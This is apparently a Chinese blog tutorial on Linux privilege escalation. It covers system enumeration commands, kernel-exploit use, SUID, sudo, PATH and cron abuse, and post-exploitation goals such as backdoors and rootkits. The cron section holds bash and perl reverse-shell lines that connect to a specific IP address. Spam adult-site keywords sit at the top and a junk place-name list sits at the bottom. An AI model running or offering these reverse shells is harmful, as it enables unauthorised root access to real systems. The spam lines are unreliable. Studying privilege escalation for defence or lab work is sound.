久久精品人人爽,华人av在线,亚洲性视频网站,欧美专区一二三

linux提權指的是什么

190次閱讀
沒有評論

共計 3144 個字符,預計需要花費 8 分鐘才能閱讀完成。

這篇文章主要講解了“linux 提權指的是什么”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著丸趣 TV 小編的思路慢慢深入,一起來研究和學習“linux 提權指的是什么”吧!

提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限;Linux 提權一般是指獲取 root 用戶權限的操作過程。Linux 提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況;提權是否成功的關鍵是信息收集是否完整。

linux 提權概念介紹

提權是什么

提權指的是低權限用戶利用各種合法的或非法的手段獲取到了高于本用戶的系統權限。

詳細來說,就是指利用操作系統或應用軟件中的程序漏洞、設計缺陷或配置疏忽來獲取對應用程序或用戶來說受保護資源的高級訪問權限。其結果是,應用程序可以獲取比應用程序開發者或系統管理員預期的更高的特權,從而可以執行授權的動作。

Linux 提權一般是指獲取 root 用戶權限的操作過程。

Linux 提權目的

提權操作有風險為什么還要進行提權?什么情況下需要進行提權?獲取高權限之后可以做什么?

通過命令執行漏洞獲取的一個反彈 shell 或是通過 Web 漏洞獲取了一個 Webshell 后,一般情況下權限都較低。在執行一些重要敏感的操作或是對重要的文件進行修改時無法正常進行,便需要進行提權。Linux 中安裝的數據庫、中間件等一般都不是以 root 用戶啟動的,通過數據庫或是中間件獲取到的權限是是低權限的。

獲取一個 root 權限是每一個黑客的夢想。

讀取寫入服務器中的重要文件:

修改 root 密碼

替換系統命令

在系統中放置更為隱蔽的后門:

ping 后門

Rootkit

保證服務器重啟之后權限仍在:

內存后門

Linux 提權本質

Linux 提權的本質一方面是信息收集,另一方面是對內核漏洞的掌握情況。

Linux 信息收集

任何提權的第一步操作一定是對操作系統進行信息收集。提權是否成功的關鍵是信息收集是否完整。

內核設備信息:

uname -a     打印所有可用的系統信息

uname -r     內核版本

uname -n     系統主機名。

uname -m     查看系統內核架構(64 位 /32 位)

hostname     系統主機名

cat /proc/version     內核信息

cat /etc/*-release   分發信息

cat /etc/issue       分發信息

cat /proc/cpuinfo    CPU 信息

用戶和群組信息:

cat /etc/passwd     列出系統上的所有用戶

cat /etc/group       列出系統上的所有組

grep -v -E ^# /etc/passwd | awk -F: $3 == 0 {print $1}   列出所有的超級用戶賬戶

whoami               查看當前用戶

w                   誰目前已登錄,他們正在做什么

last                 最后登錄用戶的列表

lastlog             所有用戶上次登錄的信息

lastlog -u %username%   有關指定用戶上次登錄的信息

lastlog |grep -v Never   以前登錄用戶的信息

用戶和權限信息:

whoami         當前用戶名

id             當前用戶信息

cat /etc/sudoers   誰被允許以 root 身份執行

sudo -l       當前用戶可以以 root 身份執行操作

環境系統變量信息:

env         顯示環境變量

set         現實環境變量

echo %PATH 路徑信息

history     顯示當前用戶的歷史命令記錄

pwd         輸出工作目錄

cat /etc/profile   顯示默認系統變量

cat /etc/shells     顯示可用的 shell

內核漏洞提權

內核漏洞提權指的是普通用戶訪問操作系統內核,利用內核漏洞將權限提高為 root 權限,一般首先需要知曉操作系統的內核,內核的版本等信息,再尋找內核漏洞的 EXP 進行提權

linux 常用查看系統信息命令
uname -a  查看系統全部信息
uname -r  查看內核版本
cat /proc/version  查看內核信息
cat /etc/*-realease  查看 CentOS 版本
cat /etc/issue  查看 Ubuntu 版本
cat /etc/redhat-release  查看 RedHat 版本
env  查看環境變量
echo $PATH  查看當前環境變量
awk -F:  ($3==0){print $1}  /etc/passwd  查找 UID 為 0 的用戶
find / -user root -perm -4000 -exec ls -ldb {} \;  查找設置了 SUID 的文件

例子:

1)查看系統的內核版本

2)使用 kali 的 searchsploit 尋找對應的內核漏洞或網上尋找相應的內核漏洞

3)使用 gcc 將 C 語言程序編譯成可執行文件,上傳至靶機,執行即可提權至 root 權限

Linux 其他提權方法

1、計劃任務提權

利用原理:

當 /bin/sh 指向 /bin/dash 的時候 (ubuntu 默認這樣,當前的靶機也是這樣),反彈 shell 用 bash 的話得這樣彈:* * * * * root bash -c bash -i   /dev/tcp/106.13.124.93/2333 0 1
這樣彈 shell 的時候不知道為什么很慢,耐心等等

*/1 * * * * root perl -e use Socket;\(i= 106.13.124.93 \)p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname( tcp));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN, S open(STDOUT, S open(STDERR, S exec( /bin/sh -i};

2、利用 SUID 提權

SUID 概念:SUID(設置用戶 ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。SUID 可以讓調用者以文件擁有者的身份運行該文件,所以我們利用 SUID 提權的思路就是運行 root 用戶所擁有的 SUID 的文件,那么我們運行該文件的時候就得獲得 root 用戶的身份了。那么,為什么要給 Linux 二進制文件設置這種權限呢?其實原因有很多,例如,程序 ping 需要 root 權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。

SUID 提權:什么是 suid 提權呢?一個文件,它有 s 標志,并且他輸入 root,那么我們運行這個程序就可以有了 root 的權限,并且這個程序還得能執行命令,那么我們就能從普通用戶提升到了 root 權限了。

在本地查找符合條件的文件。

find / -user root -perm -4000 -print 2 /dev/null

find / -perm -u=s -type f 2 /dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

常見的可以提權的程序

nmap vim find Bash More Less Nano cp netcat

3、利用 SUDO 提權

Linux 系統中可以使用 sudo 執行一個只有 root 才能執行的命令,配置文件保存在 /etc/sudoers,sudo - l 可以列出當前用戶支持 sudo 的命令。

盡量從代碼層面進行對漏洞的分析。

4、環境變量提權

查看當前環境變量:

echo $PATH

5、root 權限運行的服務

以 root 的運行的服務,其中包括第三方軟件都可以進行提權。

感謝各位的閱讀,以上就是“linux 提權指的是什么”的內容了,經過本文的學習后,相信大家對 linux 提權指的是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是丸趣 TV,丸趣 TV 小編將為大家推送更多相關知識點的文章,歡迎關注!

正文完
 
丸趣
版權聲明:本站原創文章,由 丸趣 2023-07-12發表,共計3144字。
轉載說明:除特殊說明外本站除技術相關以外文章皆由網絡搜集發布,轉載請注明出處。
評論(沒有評論)
主站蜘蛛池模板: 高要市| 津南区| 黄冈市| 托里县| 军事| 延寿县| 葫芦岛市| 益阳市| 邵阳市| 信阳市| 太湖县| 沙河市| 长治县| 英吉沙县| 登封市| 沧州市| 信宜市| 黄浦区| 江油市| 芜湖市| 清原| 灌南县| 千阳县| 凤城市| 峨眉山市| 循化| 平安县| 巴林左旗| 遵义县| 阳西县| 青铜峡市| 广东省| 青川县| 德安县| 修水县| 宁武县| 龙州县| 双牌县| 汤原县| 城固县| 内江市|